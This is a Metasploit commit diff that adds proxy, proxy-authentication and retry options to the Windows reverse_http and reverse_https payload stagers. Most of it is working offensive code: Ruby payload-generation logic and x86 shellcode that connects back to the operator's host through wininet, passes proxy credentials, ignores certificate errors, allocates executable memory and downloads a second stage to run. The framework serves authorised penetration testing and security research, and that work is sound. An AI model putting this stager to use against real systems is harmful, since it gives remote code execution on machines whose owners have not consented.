Land #4934 : Proxy and auth support in reverse_http(s)

This commit is contained in:
OJ 2015-03-18 17:42:19 +10:00
commit d152c41826
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
5 changed files with 151 additions and 52 deletions

View File

@ -236,8 +236,9 @@ protected
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
if @proxy_settings[:host] unless datastore['PayloadProxyHost'].blank?
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(@proxy_settings[:info])}'") proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end end
resp.body = blob resp.body = blob

View File

@ -27,7 +27,13 @@ module Payload::Windows::ReverseHttp
super super
register_advanced_options( register_advanced_options(
[ [
OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']) OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class) ], self.class)
end end
@ -41,7 +47,8 @@ module Payload::Windows::ReverseHttp
ssl: false, ssl: false,
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)) url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end end
conf = { conf = {
@ -49,7 +56,13 @@ module Payload::Windows::ReverseHttp
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_uri, url: generate_uri,
exitfunk: datastore['EXITFUNC'] exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
} }
generate_reverse_http(conf) generate_reverse_http(conf)
@ -75,7 +88,7 @@ module Payload::Windows::ReverseHttp
# #
def generate_uri def generate_uri
uri_req_len = datastore['HTTPStagerURILength'].to_i uri_req_len = datastore['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes # Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0 if uri_req_len == 0
@ -83,7 +96,7 @@ module Payload::Windows::ReverseHttp
end end
if uri_req_len < 5 if uri_req_len < 5
raise ArgumentError, "Minimum HTTPStagerURILength is 5" raise ArgumentError, "Minimum StagerURILength is 5"
end end
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len) "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
@ -112,23 +125,49 @@ module Payload::Windows::ReverseHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31 space += 31
# Proxy options?
space += 200
# The final estimated size # The final estimated size
space space
end end
# #
# Dynamic payload generation # Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
# #
def asm_reverse_http(opts={}) def asm_reverse_http(opts={})
# retry_count = [opts[:retry_count].to_i, 1].max
# options should contain: proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
# ssl: (true|false) proxy_info = ""
# url: "/url_to_request"
# host: [hostname] if proxy_enabled
# port: [port] if opts[:proxy_type].to_s.downcase == "socks"
# exitfunk: [process|thread|seh|sleep] proxy_info << "socks="
# else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
http_open_flags = 0 http_open_flags = 0
@ -153,14 +192,11 @@ module Payload::Windows::ReverseHttp
asm = %Q^ asm = %Q^
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
; Author: HD Moore ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------; ;-----------------------------------------------------------------------------;
; Input: EBP must be the address of 'api_call'. ; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet: load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
@ -168,29 +204,41 @@ module Payload::Windows::ReverseHttp
push esp ; Push a pointer to the "wininet" string on the stack. push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" ) call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
set_retry: if proxy_enabled
push.i8 8 ; retry 8 times should be enough asm << %Q^
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen: internetopen:
; DWORD dwFlags [1] push ebx ; DWORD dwFlags
; LPCTSTR lpszProxyBypass (NULL) [2] push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
; LPCTSTR lpszProxyName (NULL) [3] call get_proxy_server
; DWORD dwAccessType (PRECONFIG = 0) [4] db "#{proxy_info}", 0x00
; LPCTSTR lpszAgent (NULL) [5] get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp call ebp
^
else
asm << %Q^
internetopen:
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
^
end
asm << %Q^
internetconnect: internetconnect:
; DWORD_PTR dwContext (NULL) [6] push ebx ; DWORD_PTR dwContext (NULL)
; dwFlags [7] push ebx ; dwFlags
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL) push ebx ; password (NULL)
push ebx ; username (NULL) push ebx ; username (NULL)
push #{opts[:port]} ; PORT push #{opts[:port]} ; PORT
@ -198,23 +246,66 @@ module Payload::Windows::ReverseHttp
server_uri: ; server_host; server_uri is saved in EDI for later server_uri: ; server_host; server_uri is saved in EDI for later
db "#{opts[:url]}", 0x00 db "#{opts[:url]}", 0x00
got_server_host: got_server_host:
push eax ; HINTERNET hInternet push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp call ebp
mov esi, eax ; Store hConnection in esi
^
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
# doesn't set the Proxy-Authorization header on the CONNECT request.
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
^
end
asm << %Q^
httpopenrequest: httpopenrequest:
; dwContext (NULL) [8] push ebx ; dwContext (NULL)
push #{"0x%.8x" % http_open_flags} ; dwFlags push #{"0x%.8x" % http_open_flags} ; dwFlags
push ebx ; accept types push ebx ; accept types
push ebx ; referrer push ebx ; referrer
push ebx ; version push ebx ; version
push edi ; server URI push edi ; server URI
push ebx ; method push ebx ; method
push eax ; hConnection push esi ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp call ebp
xchg esi, eax ; save hHttpRequest in esi xchg esi, eax ; save hHttpRequest in esi
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request: send_request:
^ ^
@ -229,9 +320,9 @@ module Payload::Windows::ReverseHttp
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp mov eax, esp
push.i8 4 ; sizeof(dwFlags) push 4 ; sizeof(dwFlags)
push eax ; &dwFlags push eax ; &dwFlags
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp call ebp
@ -272,7 +363,7 @@ module Payload::Windows::ReverseHttp
asm << %Q^ asm << %Q^
allocate_memory: allocate_memory:
push.i8 0x40 ; PAGE_EXECUTE_READWRITE push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us) push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is push ebx ; NULL as we dont care where the allocation is

View File

@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps
# Generate the simple version of this stager if we don't have enough space # Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space if self.available_space.nil? || required_space > self.available_space
return generate_reverse_https( return generate_reverse_https(
ssl: true,
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW), url: generate_small_uri,
ssl: true) retry_count: datastore['StagerRetryCount'])
end end
conf = { conf = {
@ -51,7 +52,13 @@ module Payload::Windows::ReverseHttps
host: datastore['LHOST'], host: datastore['LHOST'],
port: datastore['LPORT'], port: datastore['LPORT'],
url: generate_uri, url: generate_uri,
exitfunk: datastore['EXITFUNC'] exitfunk: datastore['EXITFUNC'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
} }
generate_reverse_https(conf) generate_reverse_https(conf)

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
module Metasploit3 module Metasploit3
CachedSize = 306 CachedSize = 311
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
module Metasploit3 module Metasploit3
CachedSize = 326 CachedSize = 331
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Windows include Msf::Payload::Windows